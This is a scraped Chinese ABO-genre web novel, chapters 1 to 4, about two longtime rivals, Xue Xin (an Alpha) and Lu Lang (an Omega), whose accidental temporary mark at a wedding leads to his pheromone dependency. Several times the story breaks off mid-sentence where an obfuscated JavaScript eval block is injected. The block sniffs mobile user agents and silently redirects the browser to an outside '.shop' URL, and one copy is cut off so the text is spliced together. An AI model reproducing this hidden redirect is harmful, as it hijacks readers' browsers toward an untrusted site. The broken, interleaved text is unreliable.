《我只喜欢你的信息素!》 1. 第 1 章 十月末。 天气渐凉。 茂行大学新校区落成正赶上建校百年,除了常规活动,校方还安排了一场盛大的庆祝晚会。往届校友中但凡与知名沾点边的,都收到了一份邀请函。 在这方面,薛歆遇到的状况超乎寻常: 她收到了两份邀请函。 “让你帮忙带给路琅?疯了吧?” 朋友方烛满脸震撼。 “是啊。” 薛歆回想着:“组织校庆的人说联系不上路琅,听说我跟他偶尔能碰上面,就找我帮忙带过去。” 方烛:“他们也不怕你一怒之下把路琅连邀请函一起活吃了。” 薛歆:“……我在你心里到底是什么形象?” 方烛:“拜托,我这是绝对合理的有关联想,你俩都互掐多少年了?既然这样,你准备再找谁把东西带给路琅?” “不找谁。”薛歆翻翻日程表,“周六有个高中同学结婚,路琅也去,我顺手给他就行。” 方烛立刻举手:“那我也要去!” 薛歆:“你又不认识我高中同学。” “管他呢,我要跟你去。”方烛摸了摸下巴,“说真的,我一直很好奇,你和路琅一A一O,也没有深仇大恨,掐了这么多年怎么可能一点火花都没——嗷!” 激情发言被强行打断,方烛住了嘴,幽怨地看着仍悬在头顶的手。 薛歆:“我这辈子都不可能和路琅有火花。” 方烛:“这就是典型的flag!” - 由于发言不慎,方烛失去了最佳观影席位。到了周六中午,薛歆选择独自赴宴。 但她没找到路琅。 参加婚宴的人很多,距离正式开始还有四十分钟,前排的十几桌都快坐满了。 人来人往,就是没有路琅的影子。 最糟的是,人多起来了,通风系统的功率却没升高多少,信息素越来越浓。 薛歆的易感期快到了,本来就容易烦躁,在这种环境里待久一点,眉毛都皱了起来。 “怎么了?” 旁观五分钟后,老同学程凌冰终于忍不住问:“你在找人?” 薛歆秒答:“对,路琅呢?” “路……”程凌冰被问得愣了下,确认道,“路琅?” 薛歆:“他没来吗?” 程凌冰看她的目光带上了探究:“来了,我刚才从那边过的时候还看到他了,在……” 薛歆望过来:“在哪儿?” 程凌冰:“……” 她是Beta,并不知道薛歆的情绪是信息素导致的,只用匪夷所思的目光看着老友。过了一会儿,她似乎突然想通了,换上了一副明显不赞同的表情。 薛歆被看得有点莫名其妙:“怎么了?” “今天可是人家的婚礼。”程凌冰勾着她的肩膀,凑过来小声说,“你俩平常吵吵就算了,大喜的日子,好不容易合个笼就别互咬了。” 薛歆:“……” “我在你们眼里到底……”她懒得再解释,摆了摆手,“我找路琅是有正事,他人呢?” 程凌冰怀疑地看了看她,指向二楼:“我看见他上去了。” 薛歆低头看表,发现时间已经不早了,起身就走:“我马上回来。” 程凌冰在身后喊:“路琅好歹是个Omega,你客气点!” 薛歆没应声,径直走向楼梯。 二楼没有席位,除了化妆间,就是几个特意腾出来的宾客休息室。新人刚在这拍过一组照片,为了采光,几扇窗户都大开着,比楼下的空气清新了不止一倍。 薛歆总算缓了口气。 婚宴就快开始了,二楼空荡荡的。她走上来,碰巧看见一个正要下楼熟人,询问过后,对方告诉她路琅去了走廊尽头的房间。 和程凌冰一样,熟人也是一副活见鬼的表情。 不过,这也不能怪他们。 薛歆想起了一些往事。 从某个角度来说,她和路琅算是很有缘分。 两人从初中开始就是校友,高中直接分在一个班,大学不是同专业,基础课程却还有不少重合,几乎天天碰面。 毕业后,多数朋友都去了外地发展,长留本市的也还是只有他们俩。 鉴于双方契合的性别、般配的外貌和重合度极高的人生经历,如果两人不是这种见面就吵架、隔空还要互骂的状态,偷偷嗑邪门cp的朋友早就舞到正主脸上来了。 而直到现在,还是没人知道薛歆和路琅的关系为什么差成这样。 站在薛歆的角度,真要追根溯源,其实…… 其实她也不知道。 最开始是刚上高中的时候,路琅无缘无故找茬,薛歆只是反击,往后一直没和解,怼着怼着就不可收拾了。 大部分吵架的原因薛歆都记得,但最初那次路琅究竟是发什么疯,她不知道,也没想过要问。 随便吧。 这么久不见面,聊天都不好起话题,估计想吵也难吵起来。 薛歆如此想着,伸手推开了休息室的门。 一片寂静。 和每个空房间一样。 不过,沙发上的确坐着一个人。 室内光线太亮,薛歆在门口站了会儿,眼睛才适应过来,看清了那正是她在找的那位。 路琅似乎睡着了,靠在沙发一侧,用手掌撑着额头。他只穿了件薄衬衣,领带散放在扶手上,露在外面的一截脖颈雪白,又隐约浮着层淡淡的红。 窗帘开着,阳光自上而下地照在他身上,勾出一道细细的淡金色轮廓。 像一幅油画。 刚进大学的时候,路琅就漂亮得出了名,开学那段时间,连邻校的人都慕名过来,弄得他烦不胜烦。 薛歆认识他太久,对外貌早就免疫,看见这幅情景只是稍微停了停,就直接走了进来。 推门的动静很小,并没把路琅惊醒。她心无旁骛地往里去,想着要不要直接叫他起来,没走出两步,忽地闻到了一丝香气。 说淡又有点浓。 某种白花的香气……柚子花? Omega信息素。 薛歆这时才想起了程凌冰最后那句话。 可能是因为从来只顾着互怼,她平常不是很注意到路琅的性别,更别说记着AO有别了。 ……路琅确实是个Omega。 薛歆又想起自己的易感期。 路琅独自待在房间里,作为一个快到易感期的Alpha,她再靠近明显不太合适。 薛歆把刚落下的脚收了回来。 说起来,转交邀请函其实不是急事,甚至不是重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243192|197833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的事,等婚宴结束,随便找谁带一下就行。今天是高中同学结婚,满场都是她和路琅的共同好友。 她一路找到这里也只是觉得来都来了。 但来了还可以走嘛。 薛歆思考了一下,决定原路返回。 就在这个时候,她口袋里的手机突然震动起来,拿出来一看,屏幕上显示着程凌冰的名字。 薛歆快步走出休息室,接起电话:“喂?” 程凌冰的语气很急:“你找到路琅没有?” 薛歆:“找到了。” “那就好,你快把他喊下来,我跟新人说一声。”程凌冰说,“待会婚礼有个环节要他发言,这边满场找不到人正着急,还有二十分钟,可别迟到啊。” 刚说完,程凌冰就急匆匆地挂了电话。 薛歆放下手机,侧头看向紧闭的门,比起路琅的容貌,先在脑海里成形的是关于那点淡香的记忆。 她叹了口气,再度推门。 早知道应该打针抑制剂再出门的,路琅也不知道收着点信息素,这可是公共区域…… “薛歆?” 推开门的下一秒,一声略带疑惑的呼唤突然响了起来。 沙发上,路琅不知何时竟然已经醒了,正抬起头朝这边看,黑瞳亮得像含着水似的,眼尾泛着一点红。 他没有彻底清醒,神色中还有倦意,可叫完名字的一瞬之后,这张漂亮而冷淡的脸就像着了火,眉头拧紧,唇抿成一线。 路琅冷声道:“没人教过你敲门?” 薛歆终于反应过来,并不理会,若无其事地走了进来,靠在门边站着。 熟悉的感觉回来了。 什么O啊A的。 不重要。 “这是公共区域。”薛歆敲了敲门框,“不想其他人进得挂个牌子,没人教你吗?” 路琅冷冷地别开眼。 放在以前,这会他已经开始赶人了,今天可能是还没睡醒,只是冷哼了一声,就没再说什么,等着她自己识趣离开。 过了半分钟,薛歆还没走。 路琅忍不住了:“你还不走?” “啧,脾气也太坏了。”薛歆自言自语地说了句,从包里拿出邀请函,“百年校庆的邀请函,学校让我帮忙转交给你,喏,我带来了。” 她一边说,一边朝房间中央的长桌走过去。 路琅蓦地转回眼,目光急促地凝过来,连头发丝都像是跟着绷紧了。 薛歆起先没有注意。 休息室里各处堆满了水杯餐盘和衣服,什么都放不下,她走到桌子前,无从下手,只好先收拾东西。 这一刻,两人的距离拉到最近。 薛歆弯下腰,正要移开路琅面前的水杯,他整个人忽然一抖,往沙发里缩了下,双手交叠,把自己的手腕捏出几个印子。 纵然如此,他在神色上还是故作镇定,只是眼睛微微睁大了点,漆黑的眼瞳深处藏着惊慌。 柚子花香变浓了。 不同于平常空气中飘动的信息素,特别地香,明明是气味,却让人觉得温度高到发烫,有形般绕在指尖。 典型的、发热期内的Omega信息素。 薛歆动作一顿,终于意识到问题,缓缓开口:“你……” 路琅咬着牙打断她:“你还不出去!” 2. 第 2 章 这情况是薛歆没料到的。 足足过了半分钟,她一下直起身,后退了好几步。 路琅的表情依然很凶。 不过,他的眼睛睁得更大了,又圆又亮,像惊慌失措的小动物。 薛歆立刻放弃了手头的事儿,转身就要走,然而半道上,想起自己身上还有另一份任务,又停了下来。 “婚礼再过二十分钟就开始了,下面有人在找你,你还记得吧。”她打量着路琅,问,“你现在这个样子,待会能行吗?带抑制剂了没?” 路琅哼了声,没有回话。 薛歆了然:“没带?” “好吧,我去给你找。”她想了想,“这么重要的日子,应该有备用的抑制剂,我找到了就给你拿上来,行不行?” 路琅像是没料到薛歆有这么好心,听完居然愣住了,怔怔地看了她一会儿,然后摇了摇头。 “不行。”他的嗓音有些沙哑,“我对通行抑制剂过敏,只能用特制的,已经有人去拿了。” 薛歆好不容易向老对头发点善心,没想到被拒绝得这么快。她有点尴尬,四下看看,把仍在手里的邀请函直接抛到了沙发另一侧。 “那行,我先走了。”她转述程凌冰的要求,“记得看着时间,别迟到了。” 路琅压着不适点了点头。 他都有点忘记待会儿还要上台讲话了。 今天婚宴的两位主角当初能在一起,不能完全归功于路琅,但他也算是帮着牵了个线。因为这层关系,新人特意请他当证婚人,讲讲他们相爱的故事。 婚宴会场离市区很远,路琅带了几支抑制剂备用,谁知道在路上被追尾,一下全打碎了。临时找了人送,恐怕也来不及。 路琅恹恹地想着,又往沙发里缩了缩。 他一边忍受着发热期,一边看着薛歆的背影渐渐变远,痛苦地拧起了眉头。 就算抑制剂来得及送到,也没那么快恢复状态,毕竟是人造药品,起效需要时间,不像标记那么容易。 ……标记? 等等。 路琅目光一凝,撑着沙发坐了起来。 他不愿意让陌生的Alpha临时标记,才只好留在这里,可是薛歆……相看两厌,关系恶劣,但也认识多年了……事急从权,相比其他人,她好歹是个熟人,哪怕关系坏呢……对比下来,只有薛歆的标记还可以忍受。 就当被狗咬了一口。 甚至不用打疫苗。 说服自己后,路琅抬起了头。 薛歆已经走到门口,室内若有若无的Omega信息素让她很不适应,脚刚迈出去,就反手将门带上了。 缝隙在眼前一点点缩小。 路琅微微张口。 真急着要说什么的时候,他才觉得嗓子发哑到讲不出话来,眼看薛歆要走远了,情急之下,干脆抓起手边的东西朝门砸了过去。 砰—— 砸过去的东西咕噜噜滚到地上,路琅没有理会,只紧紧盯着门看。 他几乎觉得过了一个世纪那么久,快要等不下去的时候,门口终于有了动静。 薛歆是屏着呼吸进来的。 “你到底是找我还是在发脾气?我……” 话说到一半,她垂眼扫视,觉得门边躺着的那个东西看起来很眼熟,弯腰捡起来,发现是茂行大学校门的石雕模型。 校庆邀请函的附送礼物。 因为被拿来砸门,摔掉了一个角。 薛歆沉默了下。 可以说跑这一趟的意义已经消失了一半。 “找我有事?” 她又问。 路琅盯着她,神色里满是挣扎,把衣摆攥出了深深的印子,好不容易,装出了一副神色自若的样子。 “标记我。” 他说。 …… 寂静。 这次真是死一般的寂静。 出于羞耻,路琅一说完话,就侧过脸不再看薛歆。他的表情是端住了,生理反应控制不了,胸口急促地起伏着,脸颊被心火烧起一层红。 薛歆只用一个字就把火浇熄了。 “不。” 她似乎觉得这个字还不够坚决,一时意犹未尽,说完,匆匆地又补了一句:“不可能。” 路琅整个人都僵住。 像是被这句话扇了一耳光,他的脸色一阵白一身红,最终停留在红上,连脖子都浮了一层粉。 这次与发热期无关,纯粹是气的。 “为……” 话刚出口,路琅就用力咬了下舌头,硬生生把后半句话咽回去了。 再问为什么也太自取其辱了,就像是他多么期待薛歆的标记似的! 根本不。 发热期对情绪的影响是不可自控的。路琅平日里再怎么冷静,对薛歆再看不顺眼,在这种特殊时期被这样拒绝,很难不血气上涌。 被薛歆这样嫌弃…… 路琅越想越气,盛怒之下,发热期的晕眩感再次往上涌,他闭着眼睛深呼吸。 薛歆没觉得自己说的有问题。 临时标记不是那么随便的事,要是情况紧急就算了,路琅这不是明显有其他办法吗? 何况就他们俩的关系,好声好气说话够给面子了,临时标记和咬只狗有什么区别。 她客观地建议:“抑制剂既然在路上了,就不要着急。你如果不舒服,可以吃点口服的缓释片,那个没有致敏成分,虽然效果……” 路琅听到这里,深吸一口气,睁开眼睛说:“薛歆。” 薛歆停下来:“怎么?” 路琅:“你可以走了。” 薛歆:“叫我进来的也是你,召之即来挥之即去?” 她随口抱怨了句,倒也没准备继续留,这屋子里的柚子花香味儿弄得她有点口干舌燥的。而且刺激过度,她也开始出现失控倾向,已经闻到了一点点自己信息素的气味。 清新芳香里透了点涩味。 新鲜橘皮的味道。 薛歆撂完话就朝门口走去,准备第二次离开这个地方。 “你不走也行。” 她刚转身,路琅的声音就在身后响起来,语调平淡,没什么起伏。 等到薛歆看过来,他才挑起唇角,露出一个有些挑衅的笑来:“但我要个连标记都不敢的Alpha有什么用?” 薛歆半晌没说话。 冷静。 她默念着。 这是什么小学生激将法。 她想。 薛歆足有一百种方法怼回去,其中杀伤力爆表的至少占了一半。可是面前的人是个正处在发热期的Omega ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243193|197833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毕竟得注意点,尽量别刺激。哪怕这个Omega是路琅。 她控制住了自己一声不吭。 一拳打在棉花上,路琅觉得没意思了。 “行了。”他缩回沙发里,拿起手机想看看送抑制剂的人到哪儿了,挥挥手说,“你走吧。” 薛歆…… 薛歆忍了。 她怕一开口就和路琅吵起来,靠在门边,默默调整了下呼吸,想等一分钟,信息素收起来后再离开。 沙发上,路琅发了消息询问,得知送抑制剂的朋友堵车在半路上,很可能比预期时间还要晚到,顿时一阵烦躁。 他扔开手机,感到发热期的症状正在快速加重,浑身发软,呼吸急促,颈后的腺体一阵阵发烫,思绪渐渐模糊。 情况越来越糟。 抬眼一看,薛歆竟然还没走。 路琅简直气笑了。 就算没有刚才那个被拒绝的小插曲,在这个世界上,要说他最不希望被谁看见自己狼狈的样子,那也还是薛歆。 “你怎么……” 路琅正要催她快走,一张口,被自己的嗓音吓了一跳——发哑,虚弱,带点鼻音,听起来放在对谁撒娇——他下意识紧紧闭上了嘴。 讲不了话,想起薛歆对标记他避之不及的样子,路琅头一晕,干了件想起来都恨不得痛骂自己的蠢事。 他决定用信息素把薛歆赶走。 既然不肯标记,闻到信息素总该走了吧! 正处在发热期,信息素本来就不太受控,路琅的念头一冒出来,浓郁的花香就快速开始流动,一瞬间铺满了整个房间。 薛歆察觉到变化,难以置信的朝他看了过来。 突然疯了吗? 她还没把信息素收拢,突然遭到这种冲击,身体本能地后退了一步想避开,其他的部分却全都活跃起来了。 若隐若现的一丝柑橘清香,焰火般在她身边炸开,完全不受控。 ……多重刺激之下,易感期提前了。 路琅这时候智商余额已经不够用了。 看见薛歆后退的动作,他只觉得解气,浆糊般的脑子里冒出来几簇得意的小烟花。 咔哒。 门口忽然传来反锁声。 路琅听见了,但他此刻无论身体还是精神都非常迟钝,过了几秒,才慢慢地抬起头。 薛歆已经快走到他面前了。 剧烈的、狂风般的信息素随着她的步子一起压过来,闻起来还是那股清新的味道,气势却截然相反,不容抗拒地占领了所有空间。 路琅的眼睛一点点睁大了。 以前也闻到过薛歆的信息素,可是这一次完全不一样,这种感觉,简直…… 他觉得自己要被信息素吃掉了。 薛歆在沙发前停下。 她垂下眼,看见路琅到这时候还没有躲的意思,只是仰着头看她,目光茫然,像是对接下来要发生的事情一无所知。 直到肩膀被握住,略带苦味的柑橘香气和灼热的呼吸一起逼近时,他才终于做出了一丁点反应,无意识地瑟缩了下,睫毛抖起来。 薛歆的自控力也被易感期烧得差不多了。 她俯下身,用冰凉的手指摸了摸路琅的后颈,低低地在他耳边说着。 “躲什么,不是想要标记吗?” 3. 第 3 章 路琅在轻微地发抖。 是纯粹的生理反应,他自己并没意识到,眨了眨眼,面前的景象还是模糊不清,便干脆用力晃了晃脑袋,直接把自己晃晕了。 天旋地转。 他扶着额头,用接近归零的智商想了想,觉得这应该是薛歆在动,遂伸手推了推她。 “别乱晃……” 路琅一边说,一边想按住薛歆的头让她别动,奈何姿势受限,伸出手来只勾住了她的脖颈。 薛歆顺着这个动作微微低头,一缕发丝滑下来,落在路琅的锁骨上,和肤色对比鲜明。她盯着看了几秒,眸光发暗,抬手将这缕头发拂掉了。 冰凉的头发。冰凉的手指。 路琅难受地皱起眉。 发热期接触到这种浓度的Alpha信息素,他整个人都要被烧化了,恨不得和空气里的柑橘味融合在一起,好求得一点清凉。 扣着肩膀的手许久没动作,路琅挣扎了下,没成功,只好仰着头努力贴过去,汲取着更多的信息素。 薛歆看着他含雾的眼睛,停下了动作。 到了这个关头,她的理智居然短暂回笼。 ……要不还是算了吧。 虽然只是一个朋友之间也能做的临时标记,但是跟路琅? 哪怕在噩梦里都没见过这种场景。 薛歆轻按一下路琅的额头,在他眼前竖起一根手指:“冷静点,认得出来这是几吗?” 路琅毫不配合,随便扫了眼,一下抓住了她的手。 “嗯……什么?” 他含混地说。 薛歆无语地把手抽了出来。 疯完就傻。 真行。 两个人面对面,薛歆踌躇不前,路琅却积极主动。他的理智被发热期烧干净了,只想着让痛苦赶紧结束,勾着她的脖颈凑上来,低声说:“标记……你答应了。” 声音贴着耳廓擦过去,像一阵细软的风。 薛歆从没听过路琅用这种声调讲话,极不适应,下意识就要推开他,谁知路琅突然无缝变脸。 “怎么这么慢?”他的语气听起来特别怀疑,“你是不是不行?” 薛歆沉默了下。 “你什么时候才能说点好听的话?”她捏住路琅的下巴,真想干脆把这张嘴堵上,“现在是你有求于我。” 长年累月的相处里,路琅已经养成了回怼的条件反射,哪怕脑子不清楚也照样生效。 薛歆话音刚落,他就想顶回去,张口正要说话,捏着下巴的那只手突然用力,迫使他偏过了头。 浓烈的柑橘香气压了下来。 时间不早了,薛歆没再多说,低头直接咬了下去。 犬齿刺破腺体。 汹涌的信息素灌注其中。 路琅骤然失了声。 他一直以为,临时标记和发热期一样,只有痛苦、昏沉、燥热,只是一个令人厌烦的过程。 但实际上,完全、完全…… 可以说截然相反。 外来的信息素连一丁点不适都没有引起,从进入腺体,带来的就全是一阵阵潮水般的舒适感。 路琅的目光渐渐涣散,眼珠像蒙着一层薄雾,聚不了焦。标记到中期,他开始无法承受那些在骨髓深处一串串炸开的火花,本能挣扎起来,每一次都被薛歆强行按在了原地。 他的喘息越发急促,偶尔,唇齿间会溢出一点点破碎的呜咽。 薛歆还是头一次听见路琅发出这么可怜的声音,Alpha的本能作祟,她忍不住加快了注入信息素的速度,直到那呜咽声变得清晰,才重新放缓。 标记持续了接近三分钟的时间。 结束的时候,路琅像是被薛歆用信息素洗过一遍似的,柑橘香包裹着他,既是屏障也是警告,高调地彰显着标记的存在。 他全身发软,抬眼的力气都没有,眸子失神地低垂着,不知注视着什么地方。 过了比标记还要更长的时间,两枚漆黑的眼瞳才终于颤动了一下。 薛歆笑起来。 她的易感期正常应该在三天之后,虽然被提前勾了起来,但不算严重,标记结束就没什么症状了。 对于这个意外的标记,她也接受良好。 只是一次性的临时标记而已,就像大学被迫在一起写小组作业,结束了就过了,又不是一辈子的事。 作为发起者,路琅不太能接受。 他很需要时间消化。 偏偏薛歆还在问。 “这个速度慢不慢?” 语气像是很关心。 路琅偏开脸,拒绝回答。 临时标记比抑制剂的效果更好,他的身体虽然还有点脱力,那种磨人的燥热却已褪去了,神智清明了很多。 ……他真希望自己没有这么清醒。 再没有比这更狼狈的时候了。 太蠢了。 到底为什么会想到标记? 路琅闭上眼睛平缓心情,再睁开,朝门口抬了抬下巴:“你走不走?” 薛歆惊讶了。 “真不客气,用完就扔也没这么快。”她提议道,“好歹也说点使用体验吧。” 使用体验? 路琅的眼皮狠狠一跳。 这个词让他不由自主地开始了回忆,许多应该被永久封存的画面接二连三的跳出,每一个都让他脑子冒火。 “烂。” 路琅冷冷地说。 薛歆的表情更惊讶了:“是吗,可你刚才看起来不是这样,你……” 路琅不知道到底怎么样才能让她闭嘴。 这时,一阵急促的敲门声适时响起。 “路琅!” 有人在门外喊着。 送抑制剂的朋友到了。 路琅搭在沙发上的手指一颤,猛地攥紧,目光扫向门口。 他居然有种被人撞破的心虚感。 薛歆靠着桌子,也回头看了眼:“给你送东西的?” 来的时间点还挺巧。 路琅:“嗯。” 薛歆:“要不要……” 路琅:“是Beta。” 薛歆微微抬了下眉毛,将“开窗通风”四个字吞了回去,走去给外面的好心朋友开门。 到了门口,身后突然传来一声“等等”。 路琅强撑着起身,说:“我来。” 薛歆笑:“还要避嫌?” 她松开了门把手,走到一边,对路琅做了个请的手势,干脆把自己藏在了门背后。 路琅当做没有听见那句话。 他目视前方,半个眼神也没往这边丢,一步没停,走过来就直接把门拉开了。 门外那位正在卖力地呼喊。 “路琅!” “你还活着吗?路——” 好心人喊得实在太起劲,很难说究竟是着急还是兴趣使然,门打开的时候,他被吓了一跳,把琅字喊成了一个压缩的“啦”。 “郑想。”路琅面无表情地说,“需不需要给你找个喇叭?” 郑想尴尬摇头,委屈地说:“我是怕你晕在里面了。” “不过,你看起来状态挺好的啊。”他观察路琅的脸色,目露惊讶,“都不像是在发热期。” 路琅:“……嗯。” 郑想把抑制剂递过来:“我怕赶不上,路上差点闯俩红灯。你快把抑制剂打了,不然来不及了。” 路琅看向那个装着药液的玻璃管。 “不用。”他镇定自若地说,“我这次反应不严重,等忙完再打。” 这话挺违背生理知识的,但是郑想相信了。 “好吧,我一直以为发热期必须要立刻打抑制剂,不是这样吗?”他疑惑地问了句,随口说,“但你看起来是比打过抑制剂……呃,甚至比被标记过的Omega还正常。” 路琅:“……” 他光是听见标记这两个字,脑海里都会闪过数分钟前的情形,甚至感觉有点脚软。 特别是,薛歆此刻就在一步之外。 有门的阻隔,路琅并不能用眼睛看见她,但通过信息素,他完全能感受到。 强烈到无法忽视的存在感,有点懒洋洋的、在空气中丝丝缕缕飘荡的柑橘香。而且,在郑想提到标记的时候,他总觉得听见了薛歆的轻笑声。 路琅尽可能不去想,催促道:“你先下楼,我还要收拾。” 郑想:“那我在这等你呗,咱俩反正是一桌,刚好一块走啊。” 路琅:“我们不顺路,我下去了直接到后台,你先走。” “啊,那好吧,我走了。”郑想耸耸肩,刚要转身,突然疑惑地停下了,用力嗅了嗅,“我好像闻到香味了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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程凌冰说:“有时候我也真不明白,你们俩到底怎么能这么有精力,吵了这么多年都不带歇的。” 薛歆:“也没有那么夸张吧。” 程凌冰:“都快十年了。数十年如一日,甚至没有七年之痒。” “采访你一下。”她清清嗓子,“和一生之敌见面有什么感想?” 薛歆想了想。 这个问题……放在以前很好回答,无非就是烦躁、不爽、讨厌,但今天不同。 程凌冰提到感想,薛歆立刻记起,几分钟之前,她问过的那个很相似但还没得到答复的问题。 “烂”不是答案。 从路琅当时的表现和事后的状态来看,要说真心话,怎么也应该是另一个字。 这样的揣测不太礼貌,她很快把这个念头打消了。 薛歆:“正常见个面,没什么特别的感想。” “不是吧。”程凌冰像头一天认识她,难以置信地说,“就这么一笑泯恩仇了?唉,薛歆啊薛歆,你已经成长为没有激情的大人了!也不知道路琅是怎么想的。” 薛歆:“他应该……” 程凌冰:“应该什么?” 薛歆摇摇头。 路琅应该还是有挺多感想可说的。 最后那个小小的插曲里,他的脸色看起来实在是太精彩了。 明明她说的是客观事实啊。 薛歆遗憾地想。 这段闲聊持续了一会儿,很快,宴会厅的灯光就暗了下来,婚礼仪式开始了。 如预先安排的那样,新人入场后,证婚环节就开始了,路琅从舞台侧方的阶梯走了上来。 他在台上站定,开口之前,目光在场内随意地扫了一圈,与坐在舞台近处的薛歆正好对上了视线。 仅仅一瞬。 双方都没有任何细微的反应,就像素不相识一般,两双眼睛很快就错开了。 毕竟,那只是一个意外导致的临时标记,一到两周就会消退,不会在往后的生命里留下任何痕迹,没必要放在心上。 ——薛歆和路琅的想法都是如此。 4. 第 4 章 转眼一周过去。 薛歆没有彻底忘记那天的事,偶尔闲下来,她也会想起路琅,想起他的面容和神情,只是都很短暂。 她最近真的太忙了。 算起来,薛路两家在本市商界都是有头有脸的大角色,前者是医药行业的龙头,后者在科技领域颇有建树。 路琅毕业后进了自家公司,薛歆则逆反一点,依循兴趣弄了个摄影工作室,如今已小有起色,马上要开第三家分店。 这段时间,薛歆正在考察新店选址,每天奔波在外,清早出门夜半到家,分不出更多心思给一场小小的意外。 在她看来,路琅应该也是这样。 考虑到他一向很强的自尊心,就算没忘记,估计表面上也是一副云淡风轻的样子,绝不会再主动提起。 这是薛歆的猜测。 至于实际情况—— 意外发生后的头两天,路琅的状态确实和她想的一样。 他没在任何人面前提起薛歆,只当从没有和她见过面。为了遮盖身上的柑橘味信息素,他随身携带了好几管遮味剂,连着两天,身上都只有人造芳香物质的味道。 第三天情况急转直下。 最开始是没精神。 和发热期的昏沉不一样,更接近于缺乏某种维生素时会有的乏力感,推了工作躺下休息,可也缓解不了多少。 这还只是开头,越往后,他的状态变差的速度就越快。 头疼,眩晕,浑身发冷。 情绪异常低落,有时会无缘无故地悲伤,甚至不受控地掉泪。 第七天早上。 九点多开完早会,路琅刚走出会议室就突然感觉眼前发黑,没走几步,就直接晕了过去,被紧急送到了私立医院。 一系列的检查之后,他被送进了腺体专科。 “路先生。” 医生没给一点缓冲,非常直白地说:“这是信息素依赖的典型症状。” 路琅:“信息素依赖症?严重吗?” 他此时已经清醒过来,听见这个简洁明了的病名,陡然感到一丝不妙。 医生安慰道:“不是太严重。您放心,这种病症虽然不常见,但治疗方案已经很成熟了,只要您配合治疗,是能够彻底痊愈,绝对不会有后遗症的。” 路琅:“多久能治好?” “视情况而定。”医生说,“如果方便,请尽快联系那位给您做了临时标记的Alpha,等她来了,我们才能确定具体的治疗方案。” 路琅简直像被踩了尾巴。 他直到这一刻才真的把“信息素依赖症”放在眼前审视了一遍,难以置信地说:“那只是个临时标记,我……你的意思是我在依赖她的信息素?这太荒谬了,非她不可?” 医生没给他任何希望:“是的,非她不可。” - 接到私立医院的电话时,薛歆刚忙完手头的事,正在和来工作室参观的方烛聊天。 “我爸妈简直疯了,”方烛一坐下就大吐苦水,“一个月给我安排了六场相亲,现在要和我见面的Omega都排到下下个月去了,我的天,搞得我像哪个不得了的明星一样。” 薛歆给她倒了杯茶:“那我真荣幸能得到大明星的亲自接见。” 方烛:“那当然,咱俩啥关系,我忘了谁也不能忘了你。” “我姐也一样。”薛歆说,“昨天还说要给我介绍一个Omega。” 方烛的声调突然高起来:“你不会答应了吧?” 薛歆:“还没有,怎么这么激动?” 办公室里就她们两个人,门也紧闭着,方烛却还是谨慎地看了看四周,压低声音说:“你可不能脚踏两条船啊,情感纠纷有时候很麻烦的。” 薛歆不理解:“你为什么会有这样的联想?” 方烛:“那当然是——” 她说到这里的就不讲了,对薛歆抛了好几个眼神,一直没得到想要的回应,最后只好主动揭开谜底:“我那天都闻到了,你身上有Omega信息素的味儿,虽然就一点点,不过真挺烈的。咋了,最近有情况?” 薛歆真的惊讶了。 周六晚上她是和方烛见过一面,当时距离标记已经过去了六个多小时,她换了衣服,喷了遮味剂,按理来说应该没留痕。 “你能闻到?” 方烛得意:“我可是信息素超敏感体质!” 自夸完,她突然反应过来,大声道:“等等,你你你——你承认了?所以真的有一个Omega?” “临时标记。”薛歆说,“碰见了顺便帮个忙。” 方烛:“谁啊?” 薛歆:“嘘,这是隐私。” 方烛:“不,我是觉得那个信息素有点儿熟悉,以前好像在哪闻过,该不会是哪个我也认识的人吧?” 薛歆说了选择性的真话:“碰巧遇到的,和我都不熟。” “真的?那可能是我记错了。”方烛戳她手背,“不熟你也敢帮忙,标记可是很严肃的事,你就不怕被缠上。” “不会的。”薛歆说,“他应该都不想再和我私下见面了。” 方烛:“话不能讲这么绝对,我跟你说,这个也是典型的f……” 这时,薛歆放在桌上的手机忽然响了。 方烛下意识低头,恰好看到来电显示。 “医院的电话。” 薛歆看了眼名字,准备挂断:“没听说过,推销广告的吧。” “欸,等等,先别挂!”方烛连忙制止,“这是城东那边的私立医院,挺出名的,应该不是推销。你家里不是做医药的吗,不知道?” 薛歆:“我没关注家里的生意。” 她顺手接起电话。 医院打来的电话,总给人一种很严肃的感觉,虽然薛歆毫无表示,方烛还是主动起身,打算给她一些隐私空间。 但来电人的语速实在是太快了。 刚接通,对面就噼里啪啦说了一大堆,方烛还没走到窗边,听筒里的声音已经没了。 过了几秒,她听见薛歆疑惑的声音从身后传来。 “我的信息素?” - 薛歆赶到医院已经是下午了。 她敲门进了病房,看见路琅正坐在床上,低着头像在思索什么,表情不算太好。听见动静,他蓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 